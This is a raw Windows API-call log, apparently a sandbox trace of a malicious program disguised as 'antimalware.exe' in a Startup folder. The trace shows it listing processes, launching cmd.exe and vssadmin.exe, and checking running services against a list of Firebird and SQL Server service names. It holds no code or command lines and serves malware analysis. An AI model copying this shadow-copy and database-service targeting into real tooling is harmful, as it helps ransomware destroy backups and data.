	[0163.329] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0163.330] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0163.330] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0163.332] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0163.332] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0163.333] lstrlenW (lpString="sihost.exe") returned 10
	[0163.333] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0163.334] lstrlenW (lpString="Memory Compression") returned 18
	[0163.334] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.335] lstrlenW (lpString="svchost.exe") returned 11
	[0163.335] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0163.336] lstrlenW (lpString="taskhostw.exe") returned 13
	[0163.336] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0163.337] lstrlenW (lpString="msoia.exe") returned 9
	[0163.337] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0163.338] lstrlenW (lpString="explorer.exe") returned 12
	[0163.338] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0163.340] lstrlenW (lpString="SearchUI.exe") returned 12
	[0163.340] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0163.341] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0163.341] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0163.342] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0163.342] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0163.343] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0163.344] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0163.345] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0163.345] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0163.346] lstrlenW (lpString="cmd.exe") returned 7
	[0163.346] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0163.347] lstrlenW (lpString="conhost.exe") returned 11
	[0163.347] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0163.348] lstrlenW (lpString="consent.exe") returned 11
	[0163.348] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0163.349] lstrlenW (lpString="vssadmin.exe") returned 12
	[0163.349] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0163.350] CloseHandle (hObject=0x544) returned 1
	[0163.350] Sleep (dwMilliseconds=0x1f4) 
	[0163.956] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0070
	[0163.957] EnumServicesStatusExW (in: hSCManager=0x45b0070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0163.957] GetLastError () returned 0xea
	[0163.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4642fd8
	[0163.958] EnumServicesStatusExW (in: hSCManager=0x45b0070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4642fd8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4642fd8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0163.959] CloseServiceHandle (hSCObject=0x45b0070) returned 1
	[0163.959] lstrlenW (lpString="Appinfo") returned 7
	[0163.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0163.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0163.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0163.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0163.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0163.959] lstrlenW (lpString="AppXSvc") returned 7
	[0163.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.959] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0163.960] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0163.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0163.960] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0163.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.960] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0163.960] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0163.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0163.960] lstrlenW (lpString="Audiosrv") returned 8
	[0163.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0163.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0163.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0163.960] lstrlenW (lpString="BFE") returned 3
	[0163.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0163.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0163.960] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0163.960] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0163.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0163.960] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0163.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.961] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0163.961] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0163.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0163.961] lstrlenW (lpString="CDPSvc") returned 6
	[0163.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.961] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0163.961] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0163.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0163.961] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0163.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0163.977] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0163.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0163.977] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0163.977] lstrlenW (lpString="CryptSvc") returned 8
	[0163.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0163.977] lstrlenW (lpString="DcomLaunch") returned 10
	[0163.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0163.977] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0163.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0163.977] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0163.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0163.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0163.978] lstrlenW (lpString="Dhcp") returned 4
	[0163.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0163.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0163.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0163.978] lstrlenW (lpString="Dnscache") returned 8
	[0163.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0163.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0163.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0163.978] lstrlenW (lpString="DPS") returned 3
	[0163.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0163.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0163.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0163.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0163.978] lstrlenW (lpString="DusmSvc") returned 7
	[0163.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0163.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0163.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0163.979] lstrlenW (lpString="EventLog") returned 8
	[0163.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0163.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0163.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0163.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0163.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0163.979] lstrlenW (lpString="EventSystem") returned 11
	[0163.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0163.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0163.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0163.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0163.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0163.979] lstrlenW (lpString="FontCache") returned 9
	[0163.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0163.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0163.979] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0163.979] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0163.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0163.979] lstrlenW (lpString="gpsvc") returned 5
	[0163.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0163.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0163.980] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0163.980] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0163.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0163.980] lstrlenW (lpString="iphlpsvc") returned 8
	[0163.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.980] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0163.980] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0163.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0164.197] lstrlenW (lpString="KeyIso") returned 6
	[0164.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0164.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0164.233] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0164.233] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0164.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0164.233] lstrlenW (lpString="LanmanServer") returned 12
	[0164.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0164.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0164.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0164.233] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0164.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0164.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0164.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0164.234] lstrlenW (lpString="lfsvc") returned 5
	[0164.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0164.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0164.234] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0164.234] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0164.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0164.234] lstrlenW (lpString="lmhosts") returned 7
	[0164.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0164.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0164.234] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0164.234] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0164.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0164.234] lstrlenW (lpString="LSM") returned 3
	[0164.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0164.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0164.234] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0164.234] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0164.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0164.234] lstrlenW (lpString="MpsSvc") returned 6
	[0164.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.235] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0164.235] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0164.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0164.235] lstrlenW (lpString="NcbService") returned 10
	[0164.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0164.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0164.235] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0164.235] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0164.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0164.235] lstrlenW (lpString="netprofm") returned 8
	[0164.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0164.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0164.235] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0164.235] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0164.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0164.235] lstrlenW (lpString="NgcSvc") returned 6
	[0164.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.236] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0164.236] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0164.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0164.236] lstrlenW (lpString="NlaSvc") returned 6
	[0164.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.236] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0164.236] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0164.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0164.236] lstrlenW (lpString="nsi") returned 3
	[0164.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0164.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0164.236] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0164.236] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0164.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0164.236] lstrlenW (lpString="PcaSvc") returned 6
	[0164.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0164.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0164.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0164.237] lstrlenW (lpString="PlugPlay") returned 8
	[0164.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0164.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0164.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0164.237] lstrlenW (lpString="Power") returned 5
	[0164.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0164.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0164.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0164.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0164.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0164.237] lstrlenW (lpString="ProfSvc") returned 7
	[0164.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.238] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0164.238] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0164.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0164.238] lstrlenW (lpString="RpcEptMapper") returned 12
	[0164.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0164.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
